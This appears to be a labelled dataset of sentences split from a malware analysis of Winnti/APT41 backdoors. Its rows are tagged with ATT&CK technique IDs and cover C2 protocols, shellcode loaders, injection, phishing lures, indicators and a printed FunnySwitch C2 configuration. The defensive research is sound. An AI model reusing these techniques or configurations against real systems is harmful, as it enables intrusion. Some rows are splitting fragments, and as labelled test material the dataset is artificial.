{"sentence": "The network configuration for this particular sample is at the end of the shellcode and is XOR encrypted with a 16-byte key.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Key (16 bytes) Encrypted configuration The configuration, in turn, contains the following fields: 0x0 heartbeat interval (in seconds) 0x4 reconnect interval (in seconds) 0x8 bitmask for days of the week when connections may be made 0xC (inclusive) lower bound for time of day when connections may be made 0x10 (non-inclusive) upper bound for time of day when connections may be made 0x14 proxy port 0x18", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Then, one after the other, it tries combinations of possible proxy servers (any indicated in the configuration plus system proxies) and C2 servers until it connects successfully.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For the client these always equal 17 03 01; for the server, they have random values.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They contain the data that will then be used to generate the client and server session keys.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The key generation algorithm is detailed in a Zscaler report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The transport-level protocol depends on the connection type indicated in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Four protocols are supported: Standard TCP connection Application-level messages are sent unchanged as TCP segments.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Equivalent to HTTP Long Polling The client creates two TCP connections.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first will be used to get packets from the server, and the second to send them.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "During the first connection, a GET request is sent to the C2 server.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The server replies with headers with code 200 and Content-Length: 524288000.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "First HTTP connection with C2After the correct response headers are received, the malware establishes a second connection to the same port, where a POST request is made.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The header dCy is generated by the client based on the UUID and, it would seem, serves as the session ID that links the two connections.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After receipt of a response with code 200, subsequent messages from the client to the server are sent using separate POST requests.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Second HTTP connection with C2 Duplication of socket with TLS connection The client establishes a TCP connection and sends an HTTPS request like the following one: GET /msdn.cpp HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.1 Content-Length: 4294967295 Host:", "labels": ["T1071.001", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "149.28.152[.]196", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent messages are exchanged in the original TCP connection (without TLS encryption).", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Subsequent communication between the client and server occurs via protocol 1, except for when, at the beginning of the session, the client sends two packets with the FakeTLS header, which starts with the sequence 17 03 01.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first packet always has length 0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The second has length 0x3A, 0x3C, 0x3E, or 0x40 and contains random bytes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We were unable to determine the purpose of these packets.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Crosswalk message with KCP headers (highlighted in yellow) Note that in the Crosswalk samples we detected, none of the samples used the KCP protocol in practice.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "But the code contains a full-fledged implementation of this protocol, which could be used in other attacks: the developers would simply need to set this connection type in the configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The diversity of protocols and techniques would seem to protect the backdoor from network traffic inspection.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We can categorize these objects into two groups: local shellcode loaders and injectors.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Some of the samples in both groups are also obfuscated with VMProtect.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.1 Injectors Figure 14.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code for injecting shellcode into a running processThe injectors contain typical code that obtains SeDebugPrivilege, finds the PID of the target process, and injects shellcode into it.", "labels": ["T1055", "T1057", "T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.2 Local shellcode loaders The main function of the malware is to extract shellcode and run it in an active process.", "labels": ["T1055", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The malware samples belong to one of two categories, based on the source of shellcode that they use: in the original executable or in an external file in the same directory.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code of the loader's main functionAfter the malware finds the API functions it needs, it decrypts the string Global\\0EluZTRM3Kye4Hv65IGfoaX9sSP7VA with the ChaCha20 algorithm.", "labels": ["T1106", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Perhaps part of the code was accidentally deleted during the development process.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Another artifact found in some samples is the unused string CSPELOADKISSYOU.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its purpose remains unclear.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "String \"CSPELOADKISSYOU\" in data sectionIn the self-contained loaders, the shellcode is located in a PE file overlay.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The shellcode is stored in a curious way: data starts from 0x60 bytes of the header, followed by the (encrypted) shellcode.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The data length is stored at offset –0x24 from the end of the executable.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The header always starts with the PL signature.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The other header data is used for decryption: a 32-byte key is located at offset 0x28 and a 12-byte nonce for the ChaCha20 algorithm is at offset 0x50.", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Handling of PL shellcode in the loader body (ChaCha20)The ChaCha20 implementation is not always present: some of the samples use Microsoft CryptoAPI with AES-128-CBC for encryption.", "labels": ["T1027", "T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Handling of PL shellcode in the loader body (AES-128)Older loader versions use Cryptography API:", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Next Generation (BCrypt* functions) in an equivalent way.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They use AES-128 in CFB mode as the encryption algorithm.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The loaders that rely on external files have a similar code structure and one of two encryption types: ChaCha20 or AES-128-CBC.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The file should contain PL shellcode of the same format as in the self-contained loader.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The name depends on the specific sample and is encrypted with the algorithm used in it.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It can contain a full file path (although we did not detect any such samples) or a relative path.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Building the file name with PL shellcodeAmong all the loaders, we encountered three different shellcode payloads: Crosswalk Metasploit stager Cobalt Strike Beacon 2.3 Attack examples 2.3.1 An encrypted resume This malicious file is a RAR archive, electronic_resume.pdf.rar (025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596), with two files: Figure 20.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of electronic_resume.pdf.rarThe first file might look like bait, but trying to open it in a PDF viewer gives an error, since it is practically a copy of the latter.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It contains Cobalt Strike Beacon as the payload.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 21.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The same IP address was used as C2 server.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The modification time of the archive files, as well as the date on which the archive was found the server, point to the attack being active in late May or early June.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The Russian filenames suggest that the targets were Russian-speaking users.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "2.3.2 I can't breathe The attack is practically identical to the previous one: malware is distributed in a RAR archive video.rar (fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc) and consists of two .exe files.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The archive is available on June 1 on the same server at the address hxxp://66.42.48[.]186:65500/video.rar. Figure 22.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The bait is notable for the topic: the hackers were attempting to exploit U.S. protests related to the death of George Floyd.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The main bait was a video with the name \"I can't breathe-America's Black Death protests that the riots continue to escalate and ignite America!.mp4\" involving reporting on protests in late May, 2020.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Still frame from the bait video2.3.3", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Chat transcript The archive запись чата.7z (\"chat transcript.7z\") (e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae) contains three identical executable files with names resembling \"запись чата-1.png____________________________________.exe\" (\"chat transcript-1.png____________________________________.exe\") in attacks again targeting Russian-speaking users.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its configuration implies three ways to connect to the C2 server at 149.28.23[.]32: Transport protocol 3, port 8443 Transport protocol 2, port 80 Transport protocol 1, port 8080 Figure 25.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of the Crosswalk configuration3.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Attacks on Russian game developers The Winnti group first became famous for its attacks on computer game developers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Such attacks continue today, and Russian companies are also among their targets.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "3.1 Unity3D Game Developer from St. Petersburg", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The attack is based on the archive Resume.rar (4d3ad3ff281a144d9a0a8ae5680f13e201ce1a6ba70e53a74510f0e41ae6a9e6), which contains just one file: CV.chm. Running the file without security updates installed causes two windows to appear simultaneously: CHM help in HTML Help and a PDF document.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They contain the same information: a curriculum vitae for the position of game developer or database manager at a St. Petersburg company.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The CV contains plausible contact information, with a St. Petersburg address, email address ending with \"@yandex.ru\", and phone number starting with \"+7\" (Russia's country code).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Result of opening the CHM fileThe PDF file opens due to the script pass.js, which is contained in the CHM file and referenced in the code of the HTML page.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Reference to pass.js in HTML codeThe script uses a technique for running an arbitrary command in a CHM file via an ActiveX object.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This unpacks an HTML help file to the folder C:\\Users\\Public for launching the next stage of the infection: the file resume.exe, which is also embedded inside the CHM file.", "labels": ["T1027", "T1036.005", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Deobfuscated script pass.jsresume.exe is an advanced shellcode injector of which we had encountered only one sample as of the writing of this article.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Before it gets down to business, this malware, like many other samples we have seen from Winnti, checks the current year.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Current processes are checked and the malware will not run if any of the following are active: ollydbg.exe|ProcessHacker.exe|Fiddler.exe|windbg.exe|tcpview.exe|idaq.exe|idaq64.exe|tcpdump.exe|Wireshark.exe.", "labels": ["T1057"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "On first launch, shellcode will be taken from MyResume.pdf; on subsequent launches, winness.config is the shellcode source.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Main function in resume.exeMyResume.pdf is unpacked from the CHM file.", "labels": ["T1027", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Data read by resume.exe has been added to the end of the PDF file.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "MyResume.pdf, as viewed in Adobe Acrobat ReaderCompared to the PL shellcode, the data structure is more complex and contains the following:", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ROR-13 hash of data starting from byte 0x24 (0x20, 4 bytes) Nonce for algorithm ChaCha20 (0x24, 12 bytes) ChaCha20-encrypted text (0x30): Name of PDF file (+0x0)", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Size of PDF file (+0x20) Size of auxiliary shellcode (+0x24) Size of main shellcode (+0x28) Constant 0xE839E900 (+0x2C) PDF file Auxiliary shellcode Main shellcode On first launch of resume.exe, the encrypted portion of the data is decrypted (the key is hard-coded in the executable) and three sections are extracted (PDF, auxiliary shellcode, and main shellcode).", "labels": ["T1027", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The PDF file is saved with a name resembling _797918755_true.pdf in a temporary folder.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It then opens for the user (the second window in the screenshot on Figure 26, next to HTML Help).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "resume.exe: actions on first launchThe payload runs in a new process %windir%\\System32\\spoolsv.exe, into which the main shellcode is injected: Cobalt Strike Beacon with C2 address 149.28.84[.]98.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To ensure autostart, auxiliary shellcode writes the file svchost.bat, which transfers control to winness.exe, to the startup folder.", "labels": ["T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For avoiding detection at this stage, the auxiliary shellcode is injected in a similar way into spoolsv.exe, independently loads the necessary functions, and writes to file in a separate thread.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "3.2 HFS with a surprise Figure 32.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "HFS server on Winnti infrastructureOn June 23, 2020, while investigating Winnti network infrastructure, we detected an active HttpFileServer on one of the active C2 servers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Four images were there for all to see: an email icon, screenshot from a game with Russian text, screenshot of the site of a game development company, and a screenshot of information about vulnerability CVE-2020-0796 from the Microsoft website.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "13524222881554126454-128.pngFigure 34.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "EaVpPBNXgAE8s3r.jpgFigure 35.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "website_battlestategames.pngFigure 36.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "windows_update.pngThe screenshots related to Battlestate Games, the St. Petersburg-based developer of Escape from Tarkov.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This file is a self-contained loader for Cobalt Strike Beacon PL shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Copy of the official Battlestate Games siteWhen used as C2 servers, such domains give attackers the ability to mask malicious traffic as legitimate activity within the company.", "labels": ["T1071.001", "T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The combination of these two finds makes us think that we detected traces of preparation for, and subsequent successful implementation of, an attack on Battlestate Games.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Moreover, the match between the job listing for Unity3D developer (as seen in the screenshot from the official site) and contents of the curriculum vitae in the file CV.chm (as described in the previous section), considering how closely they matched in time as well as the company and \"applicant\" both being located in St. Petersburg, suggests a connection between these attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Most likely, the CHM file attack was used at the beginning stage of the breach, although we do not have solid confirmation for this.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Use of typosquatting domains for C2 servers is typical of Winnti and has been described in a Kaspersky report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Battlestate Games received all of the information uncovered by our investigation into the suspected attack.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Valid To: 07:43 AM 09/19/2016 Valid Usage: Code Signing Algorithm: sha256RSA Thumbprint: 91e256ac753efe79927db468a5fa60cb8a835ba5 Serial Number: 112195a147c06211d2c4b82b627e3d07bf09", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "FunnySwitch Among the files signed with the Zealot Digital certificate, we discovered two samples of malware containing a previously unknown backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "One of its distinguishing features is the ability to act as message relay between different copies of the backdoor and a C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.1 Unpacking The attack in question starts with the SFX archive x32.exe (2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The files n3.exe and p3.exe are identical and inject shellcode into the process explorer.exe.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The only difference between them is the final bytes of the shellcode they inject, which contain the XML configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In one case, the proxy server 168.106.1[.]1 is specified there in addition: <?xml version=\"1.0\" encoding=\"utf-8\"?> <Config Group=\"aa\" Password=\"test\" StartTime=\"0\" EndTime=\"24\" WeekDays=\"0,1,2,3,4,5,6\"> <HttpConnector url=\"http://db311secsd.kasprsky[.]info/config/\" proxy=\"http://168.106.1[.]1/\" interval=\"30-60\"/> </Config> <?xml version=\"1.0\" encoding=\"utf-8\"?> <Config Group=\"aa\" Password=\"test\" StartTime=\"0\" EndTime=\"24\" WeekDays=\"0,1,2,3,4,5,6\"> <HttpConnector url=\"http://db311secsd.kasprsky[.]info/config/\" interval=\"30-60\"/> </Config>", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A subdomain of kasprsky[.]info, db311secsd.kasprsky[.]info, is the C2 domain.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It dates to May 21, 2020, and warns of attacks on organizations linked to COVID-19 research.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The job of the shellcode is to launch and execute a method from the .NET assembly located immediately after its code.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To do so, it gets a reference to the ICorRuntimeHost interface, which it uses to run CLR and create an AppDomain object.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Reflection is used to run the static method Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Core.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Run(xml_config), to which the XML configuration is passed.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Calling a method from the .NET", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Password is the key used to encrypt messages.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ID identifies the relay (if not present in the configuration, the GUID is used instead).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "StartTime, EndTime, and WeekDays restrict the times and days when the backdoor may function The <Config> element may contain an arbitrary number of elements describing various types of connectors: TcpConnector and TcpBindConnector are classes responsible for connecting over TCP as client and server.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They have two parameters in common: address and port (by default, 38001).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "TcpConnector also has the parameter interval, which indicates how long to wait before trying to reconnect.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "HttpConnector and HttpBindConnector are HTTP client with support for proxy and HTTP server.", "labels": ["T1071.001", "T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Supported client parameters: url – address to connect to, interval – same as at TcpConnector, proxy and cred – proxy server address and credentials.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Server parameters: url – list of prefixes on which it will run and timeout – client timeout.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Framework are used for client and server implementations.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "MachineName + \".local.domain\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The client, in turn, ignores certificate validation.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "RPCConnector and RPCBindConnector are classes that allow setting up a connection via a Named Pipe.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They take a single parameter, name, which is the name of the connection.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For the network connectors to work, the backdoor adds an allow rule to Windows Firewall with the name \"Core Networking ― IPv4\" for its executable module.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 40.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code for adding Windows Firewall rulesJust like with Crosswalk, there are multiple levels of the protocol: in this case, transport, network, and application.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first two monitor the connection and are relevant only at the TcpConnector/TcpBindConnector level.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "DataMessage contains network-level data.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Messages consist of a signature (4 bytes), encrypted header (16 bytes), and optional data.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The key string in this case is \"tcp_encrypted\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Standard encryption in FunnySwitch HTTP with long polling There are three types of requests: GET \"connect\", GET \"pull\", and POST \"push\".", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To start transferring data, the client must connect by sending a GET request to a URL from the configuration and provide a special cookie value.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The string is encrypted in the standard way with the key \"http\".", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In response, the server returns the relevant array of messages for the client or, if no new messages have arrived in the last 10 seconds, an empty response.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Client–server messages are periodically sent as an array as well, for which a POST request with push operation is used.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 42.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "RPC (Pipe) Similar to TCP, except for the absence of connection monitoring.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Function for processing incoming network-level communicationsAll messages at this level are encrypted in the backdoor's standard way, with the key string \"commonkey\".", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Messages are an array of three or four elements: Message type (\"hello_request\", \"hello_response\", \"message\", \"error\") Source serialized array Destination serialized array Payload (application-level data)", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The MsgPack class is also used for serialization.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The Source and Destination arrays contain the IDs of the relays through which the message has already passed and the IDs of the routers through it should be delivered to the recipient.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The bodies of hello_request and hello_response messages contain information about the sender's system.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When one of these messages is received, the relay saves data about the sender ID, used connector instance and system data.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "These message types are used to establish a direct connection between relays.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If its Destination field contains only the ID of the current instance, it will be handled locally; if not, it will be sent to the next relay in the list.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For connecting to the next instance, it uses the connector that was saved when exchanging hello_request and hello_response messages.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If no such value exists, the key string is \"test\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Data is compressed with GZip prior to encryption.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After decryption and decompression, the payload is an array (packed MsgPack) consisting of one or two elements: a string with the name of a command and optional array of bytes (data for the command).", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Implementation was separated out into a JSCore .NET assembly, which is dynamically loaded from a Base64 constant defined in the main assembly.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading the Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Eval class from the JSCore assemblyCode execution is accomplished with classes from the Microsoft.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code fragments from the Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Eval class connect Takes an XML string with connector configuration and creates the corresponding object.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "update Packs a response containing the IDs of relays connected to the current copy, together with their system information.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "query Collects the configuration of active connector instances other than the RPCConnector and RPCBindConnector classes.", "labels": ["T1016"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "createStream Creates a message queue with the indicated name.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "sendStream Adds a message (byte array) to the queue with the specified name.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.2.5 Unused code By all appearances, the FunnySwitch backdoor is still under development, as shown by the incomplete state of message queue functionality.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Besides the commands described here already, the code contains the functions PullStream and SendStream, which are not used anywhere.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first extracts a message from the queue (by queue name), while the second sends its creator an arbitrary set of bytes with the stream-data command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of KCP class code5.2.6 FunnySwitch vs. Crosswalk Based on investigation of the two backdoors, we believe that they were written by the same developers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
